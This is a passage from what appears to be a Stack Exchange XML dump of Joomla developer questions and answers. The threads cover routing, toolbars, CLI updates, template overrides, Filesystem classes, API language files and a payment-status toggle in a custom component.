&lt;code&gt;Route::_('index.php?Itemid=524')&lt;/code&gt; it does work OK.&lt;/p&gt;&#xA;&lt;p&gt;I'm I missing something?&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2024-03-01T18:58:32.807" Title="Route not working properly on J4?" Tags="|joomla-4.x|development|router|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33371" PostTypeId="1" CreationDate="2023-09-20T15:48:40.770" Score="0" ViewCount="74" Body="&lt;p&gt;I've encountered a problem and I can't seem to solve it.&lt;/p&gt;&#xA;&lt;p&gt;My articles are tied to subcategories.&lt;/p&gt;&#xA;&lt;p&gt;In one menu item, I display a list of all articles. Let's call it [&lt;strong&gt;all-articles&lt;/strong&gt;]. This is Blog layout.&lt;/p&gt;&#xA;&lt;p&gt;In another menu item, I first display a list of subcategories. Let's call this [&lt;strong&gt;all-categories&lt;/strong&gt;]. This is Categories layout.&lt;/p&gt;&#xA;&lt;p&gt;Then, when I open any subcategory, a list of articles appears.&#xA;When I open any article, its path in the breadcrumbs and in the URL looks like this: &lt;strong&gt;sitename.com/all-articles/subcategory-name/article-name&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But I want it to be displayed like this: &lt;strong&gt;sitename.com/all-categories/subcategory-name/article-name&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It turns out that the main menu item for the article has become the menu with all the articles. But I want it to be with all the categories. How can I implement this?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I enter both of these URLs for the article, it will open with both. That is, both URLs work for the article, but I want the main URL to be the one with &lt;strong&gt;all-categories&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12481" LastActivityDate="2024-02-20T16:08:36.037" Title="Joomla 4: How to add a main menu item to the article?" Tags="|joomla-4.x|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33372" PostTypeId="1" AcceptedAnswerId="33373" CreationDate="2023-09-21T13:17:10.380" Score="1" ViewCount="135" Body="&lt;p&gt;So there is this deprecated message that pops up when using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$toolbar = Toolbar::getInstance('toolbar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;4.0 will be removed in 6.0 Use the ToolbarFactoryInterface instead &#xA;Example: Factory::getContainer()-&amp;gt;get(ToolbarFactoryInterface::class)-&amp;gt;createToolbar($name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So when using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$toolbar = Factory::getContainer()-&amp;gt;get(ToolbarFactoryInterface::class)-&amp;gt;createToolbar('toolbar')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then add (for example)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$toolbar-&amp;gt;createButton('view.add')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;it shows just the error that Button() could not been loaded. Anyone gets an example Code on how to use the ToolbarFactoryInterface class?&lt;/p&gt;&#xA;&lt;p&gt;Another option would be to use the ToolbarHelper class but there I do not see a way to create &amp;quot;dropdowns&amp;quot; as used until now like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$toolbar = Toolbar::getInstance();&#xA;$dropdown = $toolbar-&amp;gt;dropdownButton('status-group')&#xA;                -&amp;gt;text('JTOOLBAR_CHANGE_STATUS')&#xA;                -&amp;gt;toggleSplit(false)&#xA;                -&amp;gt;icon('fa fa-ellipsis-h')&#xA;                -&amp;gt;buttonClass('btn btn-action')&#xA;                -&amp;gt;listCheck(true);&#xA;&#xA;            $childBar = $dropdown-&amp;gt;getChildToolbar();&#xA;            $childBar-&amp;gt;publish('events.publish')-&amp;gt;listCheck(true);&#xA;            $childBar-&amp;gt;unpublish('events.unpublish')-&amp;gt;listCheck(true);&#xA;            $childBar-&amp;gt;archive('events.archive')-&amp;gt;listCheck(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At least to create such dropdownButtons we have to use the &amp;quot;old fashioned&amp;quot; way right now, correct?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-09-21T15:39:24.920" Title="New Way to use Toolbar::getInstance('toolbar')" Tags="|joomla-4.x|joomla-5.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33373" PostTypeId="2" ParentId="33372" CreationDate="2023-09-21T15:39:24.920" Score="3" Body="&lt;p&gt;Yes, just use the old way using &lt;code&gt;getInstance&lt;/code&gt; for now.&lt;/p&gt;&#xA;&lt;p&gt;I came across this when I was updating the Joomla MVC tutorial component to Joomla4 and wrote up the issue &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4#Deprecated_getInstance_Methods&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The reason is that all the other Joomla code currently uses &lt;code&gt;getInstance('toolbar')&lt;/code&gt; to access the Toolbar class, including the code in administrator/modules/mod_toolbar/mod_toolbar.php which renders the toolbar. The &lt;code&gt;getInstance&lt;/code&gt; method keeps track of the Toolbar instances in a local static variable &lt;code&gt;$instances&lt;/code&gt;, and returns the same Toolbar instance on repeated invocations.&lt;/p&gt;&#xA;&lt;p&gt;So if you use the approach of getting Toolbar via the Dependency Injection Container then you will get a Toolbar instance, but it won't be the same Toolbar instance as is stored in the &lt;code&gt;$instances&lt;/code&gt; variable. It won't then be picked up by the Toolbar module, and so won't be rendered on the form.&lt;/p&gt;&#xA;&lt;p&gt;(The Toolbar instance is created in libraries/src/Toolbar/ContainerAwareToolbarFactory.php::createToolbar() using &lt;code&gt;new Toolbar(..)&lt;/code&gt;, so if you can that createToolbar function twice you'll get 2 different Toolbar instances).&lt;/p&gt;&#xA;&lt;p&gt;I've the Joomla 5 beta version downloaded, and in it com_content is still using &lt;code&gt;getInstance&lt;/code&gt;, and the comment against the function includes:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;@todo Needs a proper replacement before removal as ToolbarFactoryInterface alone does not share the object everywhere&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-09-21T15:39:24.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33374" PostTypeId="1" AcceptedAnswerId="33375" CreationDate="2023-09-22T08:42:57.490" Score="0" ViewCount="28" Body="&lt;p&gt;When using Joomla CLI to check for update, I run&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;php cli/joomla.php update:extensions:check&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and get&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;! [NOTE] There are available updates to apply &#xA;[ OK] Check complete.                                                                                                   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'd expect the CLI to also support actually applying such updates? But that functionality does not exist yet, perhaps?&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-09-22T09:07:57.287" Title="&quot; ! [NOTE] There are available updates to apply&quot; - but no way to apply them via CLI?" Tags="|cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33375" PostTypeId="2" ParentId="33374" CreationDate="2023-09-22T09:01:11.980" Score="1" Body="&lt;p&gt;There are a number of options available to handle the extensions&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; extension&#xA;  extension:discover              Discover extensions&#xA;  extension:discover:install      Install discovered extensions&#xA;  extension:discover:list         List discovered extensions&#xA;  extension:install               Install an extension from a URL or from a path&#xA;  extension:list                  List installed extensions&#xA;  extension:remove                Remove an extension&#xA;&#xA; core&#xA;  core:check-updates              Check for Joomla updates&#xA;  core:update                     Update Joomla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-09-22T09:07:57.287" LastActivityDate="2023-09-22T09:07:57.287" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="33376" PostTypeId="1" AcceptedAnswerId="33377" CreationDate="2023-09-22T09:52:10.377" Score="0" ViewCount="28" Body="&lt;p&gt;An error message without any hints on how to proceed. I'm guessing permission problem? But which folder is the source folder?&lt;/p&gt;&#xA;&lt;p&gt;Running again in verbose mode:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ php7.4 cli/joomla.php core:update -vvv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt; 5/8 -- Downloading update package ...&#xA;In Folder.php line 108:&#xA;                             &#xA;  [RuntimeException (-1)]    &#xA;  Cannot open source folder  &#xA;                             &#xA;&#xA;Exception trace:&#xA;  at /////libraries/src/Filesystem/Folder.php:108&#xA; Joomla\CMS\Filesystem\Folder::copy() at /////libraries/src/Console/UpdateCoreCommand.php:380&#xA; Joomla\CMS\Console\UpdateCoreCommand-&amp;gt;copyFileTo() at /////libraries/src/Console/UpdateCoreCommand.php:327&#xA; Joomla\CMS\Console\UpdateCoreCommand-&amp;gt;processUpdatePackage() at /////libraries/src/Console/UpdateCoreCommand.php:217&#xA; Joomla\CMS\Console\UpdateCoreCommand-&amp;gt;updateJoomlaCore() at /////libraries/src/Console/UpdateCoreCommand.php:171&#xA; Joomla\CMS\Console\UpdateCoreCommand-&amp;gt;doExecute() at /////libraries/vendor/joomla/console/src/Command/AbstractCommand.php:235&#xA; Joomla\Console\Command\AbstractCommand-&amp;gt;execute() at /////libraries/vendor/joomla/console/src/Application.php:1181&#xA; Joomla\Console\Application-&amp;gt;runCommand() at /////libraries/vendor/joomla/console/src/Application.php:403&#xA; Joomla\Console\Application-&amp;gt;doExecute() at /////libraries/src/Application/ConsoleApplication.php:202&#xA; Joomla\CMS\Application\ConsoleApplication-&amp;gt;doExecute() at /////libraries/vendor/joomla/console/src/Application.php:448&#xA; Joomla\Console\Application-&amp;gt;execute() at /////libraries/src/Application/ConsoleApplication.php:255&#xA; Joomla\CMS\Application\ConsoleApplication-&amp;gt;execute() at /////cli/joomla.php:76&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Running&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ chmod -R 777 *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;did not fix it.&lt;/p&gt;&#xA;&lt;p&gt;Hm maybe tmp_path issue actually.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2023-09-22T10:05:28.423" LastActivityDate="2023-09-22T10:34:45.057" Title="&quot;In Folder.php line 108: Cannot open source folder&quot; after running core:update" Tags="|update|cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33377" PostTypeId="2" ParentId="33376" CreationDate="2023-09-22T10:34:45.057" Score="2" Body="&lt;p&gt;Setting tmp_path in configuration.php to a proper location fixed it.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-09-22T10:34:45.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33378" PostTypeId="2" ParentId="33371" CreationDate="2023-09-23T16:00:04.680" Score="0" Body="&lt;p&gt;No easy way that I'm aware of! You could try raising an issue on the &lt;a href=&quot;https://issues.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla issue tracker&lt;/a&gt; if you felt strongly about this.&lt;/p&gt;&#xA;&lt;p&gt;I tried solving it by creating a template override for the categories layout area, by injecting the Itemid you want into the &lt;code&gt;Route::_()&lt;/code&gt; calls, but it refused to go with it.&lt;/p&gt;&#xA;&lt;p&gt;The only way I can think of is to override the com_content custom router as described at &lt;a href=&quot;https://groups.google.com/g/joomla-dev-cms/c/Tpw5kMASF2A&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://groups.google.com/g/joomla-dev-cms/c/Tpw5kMASF2A&lt;/a&gt; then rather than using the standard Joomla\CMS\Component\Router\Rules\MenuRules class write your own which would have your own &lt;code&gt;preprocess()&lt;/code&gt; function. That would allow you to select whatever menuitem you wanted to use as base, and then Joomla would use its alias as that segment of the SEF URL.&lt;/p&gt;&#xA;&lt;p&gt;If you want to go down this route then you might find useful a couple of videos I made at &lt;a href=&quot;https://youtu.be/zqyjRuVaT8M&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/zqyjRuVaT8M&lt;/a&gt; and &lt;a href=&quot;https://youtu.be/d1WoRbXcvkw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/d1WoRbXcvkw&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also I'd be happy to provide some further guidance about this approach if you want.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-09-23T16:00:04.680" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33379" PostTypeId="1" AcceptedAnswerId="33380" CreationDate="2023-09-25T15:25:09.350" Score="0" ViewCount="32" Body="&lt;p&gt;I am using Joomla 4 with casseiopa template.&lt;/p&gt;&#xA;&lt;p&gt;I have created a load of custom fields where the layout ends up like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;fields-container&amp;quot;&amp;gt;&#xA;  &amp;lt;li class=&amp;quot;field-entry image-3 img1&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;field-value &amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;/images/1.jpg&amp;quot; alt=&amp;quot;&amp;quot; width=&amp;quot;2000&amp;quot; height=&amp;quot;1331&amp;quot; loading=&amp;quot;lazy&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&amp;quot;field-entry image-4 img2&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;field-value &amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;/images/2.jpg&amp;quot; alt=&amp;quot;&amp;quot; width=&amp;quot;2000&amp;quot; height=&amp;quot;1331&amp;quot; loading=&amp;quot;lazy&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&amp;quot;field-entry image-4 img3&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;field-value &amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;/images/3.jpg&amp;quot; alt=&amp;quot;&amp;quot; width=&amp;quot;2000&amp;quot; height=&amp;quot;1331&amp;quot; loading=&amp;quot;lazy&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&amp;quot;field-entry image-4 img4&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;field-value &amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;/images/4.jpg&amp;quot; alt=&amp;quot;&amp;quot; width=&amp;quot;2000&amp;quot; height=&amp;quot;1331&amp;quot; loading=&amp;quot;lazy&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How do you change the layout for this?&lt;/p&gt;&#xA;&lt;p&gt;Ideally I need to itroduce rows and columns so this ends up a 2 X 2 image grid.&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2023-09-25T18:15:32.063" Title="Article fields layout" Tags="|articles|custom-field|joomla-4|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33380" PostTypeId="2" ParentId="33379" CreationDate="2023-09-25T18:15:32.063" Score="1" Body="&lt;p&gt;You would do a Joomla template override - there are plenty of videos and tutorials on this, but post a comment if you get stuck.&lt;/p&gt;&#xA;&lt;p&gt;The file to override is in components/com_fields/layouts/fields/render.php. I've a Windows PC so I generally use the notepad++ facility &amp;quot;Find in Files&amp;quot; to search the joomla instance for an appropriate string; in this instance I used &amp;quot;fields-container&amp;quot;. Or on linux-based computers you can use eg grep. This is an easy way to find what file you need to override.&lt;/p&gt;&#xA;&lt;p&gt;So once you've clicked on Cassiopeia Details and File, go to the Create Overrides tab, and then click in the right-hand Layouts panel on &lt;code&gt;com_fields&lt;/code&gt;, then &lt;code&gt;fields&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This will copy the layout file render.php into your templates/cassiopeia folder structure, and you can then edit it via the Editor tab, by expanding the file structure down through templates/cassiopeia, /html, /layouts, /com_fields etc.&lt;/p&gt;&#xA;&lt;p&gt;Just a note of warning though: this template override will affect where you have custom fields in any component - not just com_content. If you didn't want to affect other component's custom fields output then you'd have to put code in your override to check for that, eg by using the Joomla Input functionality and checking the &lt;code&gt;option&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-09-25T18:15:32.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33381" PostTypeId="1" AcceptedAnswerId="33382" CreationDate="2023-09-26T09:52:07.803" Score="0" ViewCount="187" Body="&lt;p&gt;The JED Checker recommends in Joomla 4 using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\Filesystem\File &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;isteand of&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Filesystem\File&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;because of the second one being deprecated in J5.&lt;/p&gt;&#xA;&lt;p&gt;But when i use it things like this happen:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Attempted to call an undefined method named &amp;quot;exists&amp;quot; of class&#xA;&amp;quot;Joomla\Filesystem\File&amp;quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So whats the deal here?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-09-26T10:25:30.433" Title="Joomla\Filesystem\File or Joomla\CMS\Filesystem\File" Tags="|namespace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33382" PostTypeId="2" ParentId="33381" CreationDate="2023-09-26T10:25:30.433" Score="1" Body="&lt;p&gt;In the newer &lt;code&gt;Joomla\Filesystem\File&lt;/code&gt; which is part of the Joomla Platform, there is no longer the method/function called &lt;code&gt;exists()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The exists() method called in the Joomla\CMS\Filesystem\File can be replaced by the standard PHP &lt;code&gt;is_file()&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;This is the exists() function in Joomla 3.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Wrapper for the standard file_exists function&#xA; *&#xA; * @param   string  $file  File path&#xA; *&#xA; * @return  boolean  True if path is a file&#xA; *&#xA; * @since   1.7.0&#xA; */&#xA;public static function exists($file)&#xA;{&#xA;    return is_file(Path::clean($file));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-09-26T10:25:30.433" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="33383" PostTypeId="1" AcceptedAnswerId="33385" CreationDate="2023-09-26T18:03:23.353" Score="0" ViewCount="77" Body="&lt;p&gt;When programming a component for an API, the config contains the following language file definitions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;api&amp;gt;&#xA;    &amp;lt;files folder=&amp;quot;api&amp;quot;&amp;gt;&#xA;        &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages folder=&amp;quot;api&amp;quot;&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/com_mycomponent.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/com_mycomponent.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;&amp;lt;/api&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The component installs without errors, but the language files in the folder /api/language/en-GB/* of the component aren't copied to the folder /api/language/en-GB/ as described here &lt;a href=&quot;https://www.dionysopoulos.me/book/com-lang.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dionysopoulos.me/book/com-lang.html&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When I copy the language files manually, they are interpreted correctly.&#xA;Languages other than en-GB do not seem to work.&lt;/p&gt;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastActivityDate="2023-09-27T08:55:10.833" Title="Getting a Joomla 4 API component to work with language files" Tags="|joomla-4.x|joomla-api|language|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33384" PostTypeId="1" CreationDate="2023-09-26T19:07:45.480" Score="0" ViewCount="132" Body="&lt;p&gt;When I go to content &amp;gt; media, I don't see anything and cannot upload images or make folders. There is the error: &amp;quot;Property 'mime_type' of argument 'item' of event onFetchMediaItems has a wrong item. Valid: string&amp;quot;.&lt;br /&gt;&#xA;I found a possible solution could be to enable the fileinfo PHP extension. I did it but it didn't help. Php settings tab (on Joomla System information) says 'Fileinfo Available: No'. So, if it is enabled on cPanel, how to make it available to Joomla?&lt;/p&gt;&#xA;&lt;p&gt;New update:&#xA;I checked with the hosting provider and got this answer: &amp;quot;It is NOT possible to change PHP settings from the php.ini file at the server level. If you need to change the php.ini settings, create your own php.ini file in the directory where the script that requires such changes is located.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I created php.ini file in Joomla root folder, added this line: extension = fileinfo.so&lt;/p&gt;&#xA;&lt;p&gt;It didn't help.&#xA;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="17339" LastEditorUserId="17339" LastEditDate="2023-09-30T06:47:55.500" LastActivityDate="2023-09-30T06:47:55.500" Title="Need help with Media component error" Tags="|media-manager|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="33385" PostTypeId="2" ParentId="33383" CreationDate="2023-09-26T22:53:23.750" Score="1" Body="&lt;p&gt;If you want to keep the language files with the API rather than loading the language files into the shared &lt;code&gt;\language&lt;/code&gt; directories you can use the simpler version of the elements in the manifest file.&lt;/p&gt;&#xA;&lt;p&gt;Place your language files in your &lt;code&gt;api\com_mycomponent\language&lt;/code&gt; the source folder and include the file in the &lt;code&gt;com_mycomponent.zip&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In your &lt;code&gt;mycomponent.xml&lt;/code&gt; you need to include the language folder in the &lt;code&gt;&amp;lt;api&amp;gt;&lt;/code&gt; element to instruct it to be copied from the com_mycomponent.zip to the &lt;code&gt;..\api\com_mycomponent\language&lt;/code&gt; directory of the Joomla instance.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;api&amp;gt;&#xA;    &amp;lt;files folder=&amp;quot;api&amp;quot;&amp;gt;&#xA;        &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/api&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you would like to place the language files in the shared language directory, &lt;code&gt;\api\language&lt;/code&gt;, then the folder attribute of your language element needs to the reflect the location of the language folder inside the &lt;code&gt;com_mycomponent.zip&lt;/code&gt;, where the language files are to be copied from.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;api&amp;gt;&#xA;...&#xA;    &amp;lt;languages folder=&amp;quot;\location\in\zip&amp;quot;&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/com_mycomponent.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/com_mycomponent.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;&amp;lt;/api&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you use the second approach then you don't need the &lt;code&gt;&amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt; in the &amp;lt;files&amp;gt;&lt;/code&gt; element&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-09-27T08:55:10.833" LastActivityDate="2023-09-27T08:55:10.833" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33386" PostTypeId="1" AcceptedAnswerId="33388" CreationDate="2023-09-28T06:14:35.217" Score="0" ViewCount="62" Body="&lt;p&gt;Hi i need an example on how to implement a simple on / off toggler in a Joomla 4/5 Custom Component's list view.&#xA;I've tried the following code but i did not get any reaction in the model / idk how to forward it from controller:&lt;/p&gt;&#xA;&lt;p&gt;The Project:&#xA;Basic structure of a listview of items and edit of items&#xA;Models are called &amp;quot;RegistrationsModel&amp;quot; and &amp;quot;RegistrationModel&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;In the listview of RegistrationModels I've rendered the following (in development):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;td class=&amp;quot;text-center&amp;quot;&amp;gt;&#xA;   &amp;lt;?php&#xA;      $task = $item-&amp;gt;payment_status == 1 ? 'setunpaid' : 'setpaid';&#xA;      $class = $item-&amp;gt;payment_status == 1 ? 'fas fa-check-circle text-success' : 'fas fa-times-circle text-danger';&#xA;      $label = $item-&amp;gt;payment_status == 0 ? 'SET_PAID' : 'SET_UNPAID';&#xA;      $action = Text::_($label);&#xA;      echo '&amp;lt;a href=&amp;quot;#&amp;quot; onclick=&amp;quot;return Joomla.listItemTask(\'cb' . $i . '\',\'' . 'registration.' . $task . '\')&amp;quot; title=&amp;quot;' . $action . '&amp;quot;&amp;gt;';&#xA;        echo '&amp;lt;i class=&amp;quot;' . $class . ' fa-lg&amp;quot; title=&amp;quot;' . Text::_($label) . '&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;';&#xA;      echo '&amp;lt;/a&amp;gt;';&#xA;   ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Controllers are called &amp;quot;RegistrationsController&amp;quot; (extends AdminController) and &amp;quot;RegistrationController&amp;quot; (extends FormController).&#xA;The RegistrationModel extends the AdminModel&lt;/p&gt;&#xA;&lt;p&gt;In the model I've placed these methods:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;public function setpaid(){&#xA;        error_log('setPaid called');&#xA;    }&#xA;&#xA;    public function setunpaid(){&#xA;        error_log('setUnpaid called');&#xA;    }&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My RegistrationController:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class RegistrationController extends FormController&#xA;{&#xA;    protected $view_list = 'registrations';&#xA;    protected $default_view = 'registration';&#xA;&#xA;    public function setpaid($data = null)&#xA;    {&#xA;        error_log(print_r($data, true));&#xA;        error_log('setpaid in controller');&#xA;        return true;&#xA;    }&#xA;&#xA;    public function setunpaid($data = null)&#xA;    {&#xA;        error_log(print_r($data, true));&#xA;        error_log('setunpaid in controller');&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the controller the log gets called, but:&#xA;How can i forward the call from the controller to the model / identify the item in the model? &amp;quot;$data&amp;quot; is empty / null in Controller...&lt;/p&gt;&#xA;&lt;p&gt;And (maybe solved automatically) when clicking the icon the list view disapears and shows a blank view now.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for guiding me into the right direction&lt;/p&gt;&#xA;&lt;p&gt;*** Edit: ***&#xA;Thanks to Sharky's answer below the Controller looks now like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function setpaid()&#xA;    {&#xA;        $ids = (array) $this-&amp;gt;input-&amp;gt;get('cid', [], 'int');&#xA;        $this-&amp;gt;setPaymentStatus($ids, 1);&#xA;    }&#xA;&#xA;    public function setunpaid()&#xA;    {&#xA;        $ids = (array) $this-&amp;gt;input-&amp;gt;get('cid', [], 'int');&#xA;        $this-&amp;gt;setPaymentStatus($ids, 0);&#xA;    }&#xA;&#xA;    protected function setPaymentStatus($ids, $status)&#xA;    {&#xA;        $model = $this-&amp;gt;getModel('Registration');&#xA;        $model-&amp;gt;setPaymentStatus($ids, $status);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in the Model:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function setPaymentStatus($arrayOfIds, $status): void&#xA;    {&#xA;        $db = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;update($db-&amp;gt;quoteName('#__com_componentname_registrations'));&#xA;        $query-&amp;gt;set($db-&amp;gt;quoteName('payment_status') . ' = ' . $status);&#xA;        $query-&amp;gt;where($db-&amp;gt;quoteName('id') 